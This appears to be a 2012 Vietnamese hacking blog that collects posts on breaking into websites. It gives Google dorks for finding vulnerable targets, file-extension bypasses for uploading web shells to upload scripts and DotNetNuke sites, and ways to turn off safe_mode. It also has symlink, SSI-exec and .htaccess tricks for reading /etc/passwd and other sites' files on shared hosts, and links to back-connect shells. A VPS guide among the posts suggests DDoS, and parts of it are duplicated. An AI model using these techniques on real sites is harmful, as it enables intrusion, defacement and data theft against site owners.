29 thg 6, 2012
Một Số Bug - Dork Upload Shell
I - TailoredWeb SheLL Upload Vulnerability 1- Google Dork :
"inurl:simple-upload-53.php"
2- Chọn victim, sẽ có link như sau:
OR
Ví dụ:
3- Upload Shell
Thay đổi đuôi shell thành dạng shell.php.jpg .php.pjpg .php.gif .php.pgif
Bây giờ soleil sẽ upload shell byg.php.pgif lên.
4- Chạy Shell:
Run Shell theo path sau:
Ví dụ:
Với dork trên Soleil tìm đường 1 số link sau:
Demo Hack Web Bằng Kỹ Thuật DNN (DotNet Nuke)
Bước 1: Sử dụng google để tìm site chứa lỗ hổng DNN
:inurl:/tabid/36/language/en-US/Default.aspxInurl:”/portals/0”
Bước 2: Chọn 1 victim bất kỳ, ví dụ:
Bước 3: Thay thế đoạn url sau:
/tabid/36/language/en-US/Default.aspx
Bằng đoạn mã url:
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Lúc đó, đường link của victim như sau:
Thông tin thu được:
Bước 4: Tích vào File (A File on your site)
Sau đó thay thế đường link bằng đoạn mã Script đơn giản sau:
javascript:__doPostBack('ctlURL$cmdUpload','')
Sau khi chạy địa chỉ url ở trên sẽ xuất hiện giao diện cho upload file
Bước 5: Upload shell
Click Browse và upload shell .asp or. aspx
Thêm 1 số kỹ thuật upload shell đối với asp,
- Có thể bypass đuôi file shell sang dạng ảnh như sau: shell.asp;.jpg.
- Hoặc sử dụng tool http live herder or tamper data….
Bước 6: Run shell
Một số site dính DNN:
28 thg 6, 2012
Bộ Ebook cực hiếm dành cho dân CNTT!
Đây là Ebook CNTT toàn tập là hàng hiếm của dân CNTT đó anh em,dành cho những ai thích công nghệ thông tin thì tham khảo. Trong này chứa hầu như tất cả những món nghề của dân CNTT.Mời các bạn download:
http://www.mediafire.com/?t3yzw8cnq4qfs Xem chi tiết »
TUT - Làm gì khi safe_mode ON?
Khi gặp Safe_mode: ON thường ae ko làm được gì (ý nói newbie á). Jin lập Tut này hướng dẫn ae local khi gặp trường hợp này.-- Bắt đầu nha --
I. Hạ safe_mode
Thử các cách sau:
a. Tạo file .htaccess ở root với nội dung sau:
Code:
php_flag safe_mode off
Code:
safe_mode = Off
Code:
ini_set('safe_mode','Off');II. Perl Shell
Nếu vì lí do nào đó mà bạn ko hạ sm được thì dùng thử Perl Shell nha. Perl Shell là shell (tất nhiên rùi) thường có đuôi dạng .cgi , .pl ,.. Và ko bị ảnh hưởng bởi cái sm quái qủy kia.
Download: http://www.hyperfileshare.com/d/1508da2e
Upload shell to host, ChMod 755 và run thử.
Nếu gặp lỗi 500 thì ta xem Tut này: http://www.mediafire.com/?mmnimgwmjt0 (mượn tạm của pro nào ý)
và Tut này http://www.mediafire.com/?qqwkoiozrdq
nếu ko được nữa thì move shell vào folder cgi-bin .
Cuối cùng, áp dụng hết pp trên mà ko được nữa thì... Bỏ con shell ấy đi. Hại não. Hìhì Xem chi tiết »
26 thg 6, 2012
Bảo mật cho VBB ngắn gọn và dể hiểu
Hôm nay Vô Tâm sẻ hướng dẫn các bạn chống hack cho diển đàn vBB, chắc các đã không xa lạ với các bài viết hướng dẫn bảo mật cho diển đàn vBulletin, nhưng những bài viết đó hầu như rất dài dòng và khó hiểu. Hôm nay Vô Tâm sẻ tổng hợp những cách chống hack của diển đàn vbb một cách dể hiểu và ngắn gọn.1. Thay đổi Config.php trong thư mục includes:
- Trước tiên bạn hảy tạo một thư mục để chứa file config.php "thật" của chúng ta. vd: #votam Sau đó bạn mở thư mục includes và tìm đến file class_core.php
Tìm:
includes/config.phpThay thế bằng:
#votam/ten file config.php mà bạn muốn "#" ở trước thư mục là có mục địch nhé.
các bạn muốn bỏ nó đi cũng không sao. Bây giờ bạn vào includes và tìm đến file config.php và đổi tên nó giống như ở chổ nào
#votam/ten file config.php mà bạn muốnRồi đưa nó vào thư mục #votam
2. Tăng cường và thay đổi địa điểm của Admincp:
2.1/ Thay đổi vị trí admincp:
- Bạn thay đổi tên của thư mục admincp
- Bạn vào #votam ten file config.php (Đây là khi bạn đã đổi địa điểm file config.php) còn nếu chưa đổi địa chỉ file config.php thì vào vào includes và tìm đến file config.php
Tìm:
$config['Misc']['admincpdir'] = 'admincp'; Thay thế admincp thành tên thư mục bạn đã đổi trước đó.
2.1/ Thêm một lần nữa để đăng nhập được vào admincp:
- Mở file global.php trong thư mục admincp (Nếu đã đổi tên thư mục admincp thì vào thư mục đó để tìm file này)
Ở hàng đầu tiên:
<?phpBạn chèn thêm vào:
//Khai bao dang nhap $config['dn2_dnp'] = 'usename'; $config['mk2_dnp'] = 'password';
if ($_SERVER['PHP_AUTH_USER'] != $config['dn2_dnp'] || $_SERVER['PHP_AUTH_PW'] != $config['mk2_dnp']){ header('WWW-Authenticate: Basic realm="Xin vui long khai bao thong tin yeu cau truoc khi duoc chuyen den bang dang nhap"'); header('HTTP/1.0 401 Unauthorized');
//Trang sẽ hiển thị khi thông tin khai báo sai bét. Hỗ trợ HTML nên bạn có thể thiết kế một trang đẹp hơn echo '<center>Đi chổ khác chơi đi chú em. Nhấn nút biến!</center>';
exit;
} Nhập 2 thông tin này vào:
usename
password
3. Về phần chmod
- Chmod public_html 100
-Chmod thư mục includes 101. File config 400
-Chmod tên thư mục ví dụ forum thành 701
Hi vọng những cách này sẽ giúp các bạn tránh đc local :)
Xem chi tiết »
Tổng hợp TUT Local Căn Bản + Nâng Cao Cho AE
.Đây toàn là video local nhé,tôi sưu tầm và tổng hợp lại cho anh em newbie như mình,mong nhận được cái thankhttp://www.mediafire.com/?pd10l797f5haw
==================================
Một số tut khác
====================================
Up shell vbb mọi phiên bản (hướng dẫn từ a -> z)
http://www.mediafire.com/?gbb3xyhpx2iwoat
pass: tranhoai
====================================
Local hostvn
http://www.mediafire.com/?dhpbve4z1b8gio1
=================================
Tut SQL + up shell +local (tổng hợp)
1.Tìm site lỗi SQL và khai thác
2.Login với quyền admin để up shell
3.Local sang các site khác cùng server
http://www.mediafire.com/?xr10n8nczr8du9q
=================================
Local bằng cách up Cgi-Telnet -
http://www.mediafire.com/download.php?djnmntmgacm
=============================================
Local + Upload shell Joomla chi tiết
http://www.mediafire.com/?3hqep6ku7528vub
pasS: 25071989
==================================
Upload Shell PHPMYADMIN
Link : http://www.mediafire.com/?7rvuy2a62b40k23
Pass : BYG
==================================
một số video khác
http://www.mediafire.com/download.php?tgjd4bnnzdy
http://www.mediafire.com/download.php?ee1ztyyj32n
http://www.mediafire.com/download.php?mwizmitjmmo
http://www.mediafire.com/download.php?iynzjmjjn4y
http://www.mediafire.com/download.php?zjzvenhd1ma
http://www.mediafire.com/download.php?lmq5jlhjxok
http://www.mediafire.com/download.php?jinkzmwmmzy
http://www.mediafire.com/download.php?oimmn2yjnj0
http://www.mediafire.com/download.php?xbonumjzyqz
pass : bocapit
================================================
Local basic
http://www.mediafire.com/?jiki40gwjzx
===========================
Local via sql
http://www.mediafire.com/?w2moq5ygwzy
============================
Tut hướng dẫn chi tiết local thay pass MD5 cho NB
http://www.mediafire.com/?kt4qtkqvma6xusj
=============================
local
http://www.mediafire.com/?lnx6ph8978ljt92
===============================
Vài con shell cần thiết khi local cho anh em!
Shell Cgi (cgi.x-zone) khi gỏ command nó sẽ mã hóa dòng lệnh ,có thể qua mặt vài server
http://www.mediafire.com/?45fsa46y5bdobfa
Telnet 1.3
http://www.mediafire.com/?eayxc5k8utpqeig
.htaccess
Options +FollowSymLinks +Indexes
DirectoryIndex default.html
## START ##
Options +ExecCGI
AddHandler cgi-script cgi pl tg love h4 tgb cbg
RewriteEngine on
RewriteRule (.*)\.war$ $1.cgi
## END ##
RemoveHandler .vkl
AddType application/octet-stream .vkl
~> 2 dòng cuối khi symljnk ghi vào file.vkl thì file này load trên trình duyệt sẽ tự download về
Admin Finder (tìm thư mục admin)
http://www.mediafire.com/?skaysiedncckx4k
cmd.shtml > view source cmd.shtml
<!--#exec cmd="dir /home/victim/public_html/" -->
cmd.shtml (1.txt là file đã được symljnk) > view source cmd.shtml
<!--#include virtual='1.txt'-->
Bypass ln.zip
<?php
chmod('ln',0777);
system('./ln -s /etc/passwd > 1.txt');
?>
hoặc
./ln -s /home/victim/public_html/index.php 1.txt
File SymLink.php
/home/victim/public_html/index.php
Find Path qua error-log : http://victim.com/fuck
tail -100 /var/log/httpd/domains/siteA.error.log | grep fuck
tail -100 /usr/local/apache/logs/error_log | grep fuck
Shell offline.php?acc ~> get user admin ,nhiều chức năng ,ko bị lổi trên các server config kỉ
http://www.mediafire.com/?r19m52itzq71x5z
Backuper.php (Leech code)
http://www.mediafire.com/?kp1p40fnwc2171k
Shell Unkonw (Brute)
http://www.mediafire.com/?hvxjzrm1tjgbwmp
Shell images (r57)
http://www.mediafire.com/?lh0nslgadbsb5ab
Shell images (Webadmin)
http://www.mediafire.com/?lc6cizbpw5ijoio
Shell Dumper.php (Zip + Restor data)
http://www.mediafire.com/?9ecl9efdk4mw3hm
Shell images aaa.php.jpg - shell upload
http://www.mediafire.com/i/?d61ubhb1qw11dst
Shell help.php (upload file + chmod)
http://www.mediafire.com/?ytwx6mv4ee2266l
Unzip.php (giải nén các file bị zip)
http://www.mediafire.com/?1bhs7jmvly3e1b4
Con shell này tạo ra thêm 2 file để thực hiện zip
Nếu ko tạo đc 2 file này thì chúng ta sẽ tự tạo 2 file đó
http://www.mediafire.com/?ims0mlwa9e3yzl1
telnet v1.3 (ko cần htaccess)
http://www.mediafire.com/?t1uu3cr6h6aag5c
sym-pl.pl (symljnk cgi ko cần htaccess)
http://www.mediafire.com/?o8fm7bmw90882hq
Shell Root ( thực thi các dòng lệnh sẽ show ra trình duyệt - chỉ sd 1 số sv)
http://www.mediafire.com/?f86f88nfesduuyp
Locus Shell (back connect)
http://www.mediafire.com/?0vk8v5m8kzcqgvf
perl shell mr.thien (BackConnect)
http://www.mediafire.com/?qedquldy39ilgn9 Xem chi tiết »
Hướng dẫn sử dụng VPS
VPS là gì?
Server riêng ảo (Virtual Private Server - VPS) là phương pháp phân chia một server vật lý thành nhiều server riêng. Mỗi server là một hệ thống hoàn toàn riêng biệt, chạy hệ điều hành riêng có toàn quyền quản lý và khởi động lại hệ thống.
VPS dành cho các doanh nghiệp vừa và nhỏ cần có server riêng có thể quản trị từ xa, có thể cài đặt phần mềm theo nhu cầu mà không bị hạn chế, có thể xây dựng server web, email, backup dữ liệu hoặc dùng để truyền tải file dữ liệu giữa các chi nhánh một cách dễ dàng, nhanh chóng, bảo mật.
VPS giống như một máy tính bình thường mình sử dụng nhưng nó được đặt ở các phòng server có đường truyền mạnh và cấu hình ngon
Sau đây mình sẽ nói sơ qua về vps và hướng dẫn cách sử dụng (Mình chỉ nói theo kinh nghiệm có gì sai sót mong các bạn góp ý và bỏ qua)
1. Cách sử dụng
Đầu tiên các bạn tìm đến chức năng remote desktop của win (Mình dùng win xp)
Server riêng ảo (Virtual Private Server - VPS) là phương pháp phân chia một server vật lý thành nhiều server riêng. Mỗi server là một hệ thống hoàn toàn riêng biệt, chạy hệ điều hành riêng có toàn quyền quản lý và khởi động lại hệ thống.
VPS dành cho các doanh nghiệp vừa và nhỏ cần có server riêng có thể quản trị từ xa, có thể cài đặt phần mềm theo nhu cầu mà không bị hạn chế, có thể xây dựng server web, email, backup dữ liệu hoặc dùng để truyền tải file dữ liệu giữa các chi nhánh một cách dễ dàng, nhanh chóng, bảo mật.
VPS giống như một máy tính bình thường mình sử dụng nhưng nó được đặt ở các phòng server có đường truyền mạnh và cấu hình ngon
Sau đây mình sẽ nói sơ qua về vps và hướng dẫn cách sử dụng (Mình chỉ nói theo kinh nghiệm có gì sai sót mong các bạn góp ý và bỏ qua)
1. Cách sử dụng
Đầu tiên các bạn tìm đến chức năng remote desktop của win (Mình dùng win xp)
C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications
Cho cái biểu tượng Remote Desktop Connection ra màn hình desktop bằng cách bấm save as
Nháy đúp vào biểu tượng Remote Desktop Connection
Copy và paste Computer vào ô như trong hình:
Nó sẽ Remote desktop đến cái VPS của các bạn.
Cách bạn cứ hiểu VPS như là 1 cái máy tính. Mà đã là máy tính thì cách bạn cứ làm những gì mà cách bạn làm trên máy tính của bạn (nhưng phải có giới hạn)
Bây giờ các bạn có thể làm gì tùy thích như cắm game, chạy game server, web server, crack,scan socks, leech socks, ddos site, ....
Chú ý : Các bạn đừng bao giờ tắt máy cái VPS như tắt máy của mình nhá nó đi luôn đấy. Nếu dùng xong tắt cái remote đi là được rồi (dấu X) nó vẫn đang online trên mạng đấy.
Sau khi remote đc VPS thì dùng TeamViewer để connect vào cũng ok.
2. Cách đổi password cho vps
Trong giao diện của vps chọn start >> windows security >> change password rồi nhập password cũ và mới vào
Cho cái biểu tượng Remote Desktop Connection ra màn hình desktop bằng cách bấm save as
Nháy đúp vào biểu tượng Remote Desktop Connection
Copy và paste Computer vào ô như trong hình:
Nó sẽ Remote desktop đến cái VPS của các bạn.
Cách bạn cứ hiểu VPS như là 1 cái máy tính. Mà đã là máy tính thì cách bạn cứ làm những gì mà cách bạn làm trên máy tính của bạn (nhưng phải có giới hạn)
Bây giờ các bạn có thể làm gì tùy thích như cắm game, chạy game server, web server, crack,scan socks, leech socks, ddos site, ....
Chú ý : Các bạn đừng bao giờ tắt máy cái VPS như tắt máy của mình nhá nó đi luôn đấy. Nếu dùng xong tắt cái remote đi là được rồi (dấu X) nó vẫn đang online trên mạng đấy.
Sau khi remote đc VPS thì dùng TeamViewer để connect vào cũng ok.
2. Cách đổi password cho vps
Trong giao diện của vps chọn start >> windows security >> change password rồi nhập password cũ và mới vào
3. Cách reset cho vps
VPS như một máy tính ảo nên khi làm việc lâu quá cũng không tốt nên cứ khoảng 1-2 ngày bạn nên reset một lần
Cách làm như sau
VPS như một máy tính ảo nên khi làm việc lâu quá cũng không tốt nên cứ khoảng 1-2 ngày bạn nên reset một lần
Cách làm như sau
Rồi bấm oke, khoảng 5 phút sau vào lại
4. Cách khắc phục lỗi exceed
Mặc định, trên Windows Server 2003, chức năng Remote Desktop được thực hiện ở mode Remote Desktop for Administration. Với mode này, nó chỉ cho phép 2 connections mà thôi. Chúng ta không thể remote vào vượt quá số connections này được đâu. Bạn có thể kiểm chứng điều này bằng cách vào Administrative Tools ==> Terminal Services Configuration ==> click Connections , nhấn phải chuột trên RDP-TCP chọn Properties ==> Chọn tab Network Adapter, bạn sẽ thấy Maximum connections là 2
Nếu một khi bạn vào vps nhưng khi mạng của bạn bị lag bạn chưa hòan toàn thoát ra khỏi vps tức là 1 user còn đang sử dụng, bạn lại nóng lòng login lại và lại lặp lại vấn đề như vậy nên cùng một lúc bạn sử dụng nhiều user lúc đó vps báo lỗi quá tải (the terminal server has exceeded the maximum number of allowed connections).
Ở Remote desktop có 2 chế đó là Remote desktop và Remote desktop console. 2 kiểu remote này là khác nhau. Remote desktop bình thường thì coi như bạn tạo ra 1 tài khoản, còn Remote desktop console thì bạn chạy thực trên con máy đó. Lý do bị như vậy là chúng ta đang Remote Desktop console trên cùng 1 server VPS. Hãy tạo ra 1 Remote Desktop thường và 1 Remote Desktop console. Lúc này ta nên vào chế độ console bằng cách:
Start -> Run -> mstsc /console đánh IP và password vào như đăng nhập vps thông thường rồi reset lại vps thế là xong
5. Những chú ý khi sử dụng vps
- VPS sử dụng mạng nước ngoài nên bạn có tắt máy thì nó vẫn họat động
- Không nên lạm dụng vps, bạn không thể bắt nó làm việc quá mức và nó sẽ die nhanh
- Khi mang bạn lag bạn nên hạn chế conect vào vps, tốt nhất là tắt đi khi xong công việc.
Xem chi tiết »
4. Cách khắc phục lỗi exceed
Mặc định, trên Windows Server 2003, chức năng Remote Desktop được thực hiện ở mode Remote Desktop for Administration. Với mode này, nó chỉ cho phép 2 connections mà thôi. Chúng ta không thể remote vào vượt quá số connections này được đâu. Bạn có thể kiểm chứng điều này bằng cách vào Administrative Tools ==> Terminal Services Configuration ==> click Connections , nhấn phải chuột trên RDP-TCP chọn Properties ==> Chọn tab Network Adapter, bạn sẽ thấy Maximum connections là 2
Nếu một khi bạn vào vps nhưng khi mạng của bạn bị lag bạn chưa hòan toàn thoát ra khỏi vps tức là 1 user còn đang sử dụng, bạn lại nóng lòng login lại và lại lặp lại vấn đề như vậy nên cùng một lúc bạn sử dụng nhiều user lúc đó vps báo lỗi quá tải (the terminal server has exceeded the maximum number of allowed connections).
Ở Remote desktop có 2 chế đó là Remote desktop và Remote desktop console. 2 kiểu remote này là khác nhau. Remote desktop bình thường thì coi như bạn tạo ra 1 tài khoản, còn Remote desktop console thì bạn chạy thực trên con máy đó. Lý do bị như vậy là chúng ta đang Remote Desktop console trên cùng 1 server VPS. Hãy tạo ra 1 Remote Desktop thường và 1 Remote Desktop console. Lúc này ta nên vào chế độ console bằng cách:
Start -> Run -> mstsc /console đánh IP và password vào như đăng nhập vps thông thường rồi reset lại vps thế là xong
5. Những chú ý khi sử dụng vps
- VPS sử dụng mạng nước ngoài nên bạn có tắt máy thì nó vẫn họat động
- Không nên lạm dụng vps, bạn không thể bắt nó làm việc quá mức và nó sẽ die nhanh
- Khi mang bạn lag bạn nên hạn chế conect vào vps, tốt nhất là tắt đi khi xong công việc.
Học php qua video :)) căn bản php. đến nâng cao.
Dưới đây là tổng hợp video từ cơ bản nhất đến nâng cao với giọng tiếng việt dễ hiểu của anhDemon Warlock
sau đây là links
bài 1 : http://vimeo.com/15013115
bài 2 : http://vimeo.com/15013447
bài 3 : http://vimeo.com/15015284
bài 4 phần 1: http://vimeo.com/15015464
bài 4 phần 2: http://vimeo.com/15014929
bài 5 phần 1: http://vimeo.com/15015037
bài 5 phần 2 : http://vimeo.com/15015134
bài 6 phần 1 : http://vimeo.com/15016637
bài 6 phần 2 : http://vimeo.com/16646679
bài 7 phần 1 :http://vimeo.com/15017026
bài 7 phần 2 : http://vimeo.com/15159496
bài 8 : http://vimeo.com/15031002
bài 9 phần 1 : http://vimeo.com/15031302
bài 9 phần 2 : http://vimeo.com/15031537
bài 10 : http://vimeo.com/15043585
bài 11 phần 1 : http://vimeo.com/15146610
bài 11 phần 2 : http://vimeo.com/15972696
bài 12 : Mô hình MVC http://vimeo.com/17140642 Xem chi tiết »
Local Tổng Hợp Các Tut Của Sunshine Angel - Updating....
Tut Local Tư duy 1 :http://www.mediafire.com/?k9a8xo26e66ck6b
Tut Local Tư duy 2 :
http://www.mediafire.com/?ktghxpz4152zhfv
Tut local BSG :
http://www.mediafire.com/?y0pd363fhen20cw
Updating....
Có gì thắc mắc cứ comment ở dưới :| Xem chi tiết »
[Tut]Deface website trong vòng 2 phút sử dụng Exploit
Nhìn tựa đề anh em nghe khó tin nhỉ.Nhưng sự thật là như vậy
.Tut chống chỉ định cho pro.
Linkdownload:
Xem chi tiết »









